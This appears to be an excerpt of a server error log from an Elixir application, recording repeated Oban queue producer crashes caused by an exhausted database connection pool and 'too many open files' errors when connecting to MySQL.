State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:54:48.240765Z], limit: 3, uuid: "3fbb56fd-8e44-41ed-b768-8a5dc4cdd508", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:48.240771Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73515>, refresh_timer: #Reference<0.2525715032.1099431938.73505>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:54:48.241879Z], limit: 10, uuid: "df69dd1c-436c-4dcf-8aba-39a3da606bed", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:48.241884Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73596>, refresh_timer: #Reference<0.2525715032.1121189889.229630>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:54:48.241152Z], limit: 50, uuid: "a43bebbd-363b-470d-9cd6-91eb6fe0f76a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:48.241157Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73594>, refresh_timer: #Reference<0.2525715032.1099431938.73531>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:54:48.241528Z], limit: 20, uuid: "d20454ab-f3a0-4c3f-b5ef-a5caef597ec9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:48.241534Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73595>, refresh_timer: #Reference<0.2525715032.1068498948.87113>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:00.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 999ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:54:48.241238Z], limit: 5, uuid: "f35cec49-3135-40c2-80ed-b6bef4f55e0f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:54:48.241246Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.229642>, refresh_timer: #Reference<0.2525715032.1121189889.229625>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:02.366000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:02.908000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:02.934000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:03.529000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:07.057000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1068ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:55:00.244712Z], limit: 5, uuid: "b702dba2-2d7a-4ad4-bc96-7aeb3bb51312", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:00.244717Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73929>, refresh_timer: #Reference<0.2525715032.1099431938.73920>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:55:00.243425Z], limit: 50, uuid: "856e9be8-a3f7-45bc-9b36-b865afc39c33", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:00.243431Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73932>, refresh_timer: #Reference<0.2525715032.1068498948.87212>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:55:00.243322Z], limit: 10, uuid: "90aab9af-4530-4570-8209-80567942b5a1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:00.243327Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73931>, refresh_timer: #Reference<0.2525715032.1077673987.61301>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:12.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:55:00.242734Z], limit: 5, uuid: "1c33b21c-99ac-4138-91c7-f02ec8d6cab6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:00.242741Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.73930>, refresh_timer: #Reference<0.2525715032.1099431938.73896>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:12.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
